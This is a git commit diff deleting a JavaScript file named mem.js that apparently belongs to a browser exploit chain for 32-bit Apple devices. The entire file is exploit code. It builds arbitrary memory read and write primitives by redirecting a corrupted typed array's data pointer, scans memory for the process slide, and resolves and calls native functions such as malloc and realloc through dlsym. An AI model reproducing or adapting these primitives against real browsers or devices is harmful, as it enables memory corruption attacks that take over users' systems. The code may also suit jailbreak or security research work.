big b0i

1 files changed, 0 insertions, 186 deletions

diff --git a/js/mem.js b/js/mem.js
deleted file mode 100644
index 6c30376..0000000
--- a/js/mem.js
+++ /dev/null
@@ -1,186 +0,0 @@
-var shit_status = 0x144444;
-var global_sptr_addy = 0;
-var VECTOR_OFFSET = 0x10;
-var sptr_size = 0;
-var sptr_len = 0;
-
-/*
- *  read uint8_t
- */
-function read_u8(addy) {
-	u8x4 = u32_to_u8x4(addy);
-
-	/*
-	 *  `parent` is a Uint8Array of length 0x100.
-	 *  `child` is also a Uint8Array of length 0x100.
-	 *  `parent`'s `vector`, its pointer to where its data is stored, has been
-	 *  modified to point to the `child` object in memory.
-	 *  as such, accessing `parent` will allow for modifying the `child` object.
-	 *  
-	 *  the way this is used is by writing to `child`'s `vector` so it points to
-	 *  arbitrary memory. then, we can access `child`, and we now have arbitrary
-	 *  r/w
-	 */
-
-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
-	return child[0];
-}
-
-/*
- *  read uint16_t
- */
-function read_u16(addy) {
-	u8x4 = u32_to_u8x4(addy);
-
-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
-	return u8x2_to_u16(child);
-
-}
-
-/*
- *  read uint32_t
- */
-function read_u32(addy) {
-	u8x4 = u32_to_u8x4(addy);
-
-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
-	return u8x4_to_u32(child);
-}
-
-/*
- *  read a buffer
- */
-function read_buf(addy, len) {
-	var buf = new Uint8Array(len);
-
-	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
-		buf[cur_addy - addy] = read_u8(cur_addy);
-	}
-
-	return buf;
-}
-
-/*
- *  write a buffer
- */
-function write_buf(addy, buf, len) {
-	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
-		write_u8(cur_addy, buf[cur_addy - addy]);
-	}
-
-	return buf;
-}
-
-/*
- *  write uint8_t
- */
-function write_u8(addy, what) {
-	u8x4 = u32_to_u8x4(addy);
-
-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
-	child[0] = what;
-}
-
-/*
- *  write uint16_t
- */
-function write_u16(addy, what) {
-	u8x4 = u32_to_u8x4(addy);
-
-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
-	u8x2 = u16_to_u8x2(what);
-	child[0] = u8x2[0];
-	child[1] = u8x2[1];
-}
-
-/*
- *  write uint32_t
- */
-function write_u32(addy, what) {
-	u8x4 = u32_to_u8x4(addy);
-
-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
-	u8x4 = u32_to_u8x4(what);
-	child[0] = u8x4[0];
-	child[1] = u8x4[1];
-	child[2] = u8x4[2];
-	child[3] = u8x4[3];
-}
-
-/*
- *  get process slide
- */
-function get_our_slide() {
-	for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
-		if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
-			return slide;
-		}
-	}
-}
-
-/*
- *  write str to addy
- */
-function write_str(addy, s) {
-	for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
-		write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
-	}
-
-	return s;
-}
-
-function init_sptr_heap() {
-	var dlsym_addy = read_u32(reserve_addr + 24 + slid);
-	var shc_slide = read_u32(reserve_addr + 20 + slid);
-	write_str(0x150000, "malloc\0");
-	var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
-	global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0);
-	sptr_size = 0x1000000;
-	sptr_len = 0;
-
-	calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0);
-
-	return global_sptr_addy;
-}
-
-/*
- *  sptr is meant to give you a pointer to a specified string
- *  remember your nul's!
- */
-function sptr(s) {
-	if ((sptr_len + s.length) >= sptr_size) {
-		var dlsym_addy = read_u32(reserve_addr + 24 + slid);
-		var shc_slide = read_u32(reserve_addr + 20 + slid);
-		write_str(0x150000, "realloc\0");
-		var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
-		global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0);
-		sptr_size += 0x100000;
-	}
-	write_str(global_sptr_addy, s);
-	global_sptr_addy += s.length;
-	return global_sptr_addy - s.length;
-}
\ No newline at end of file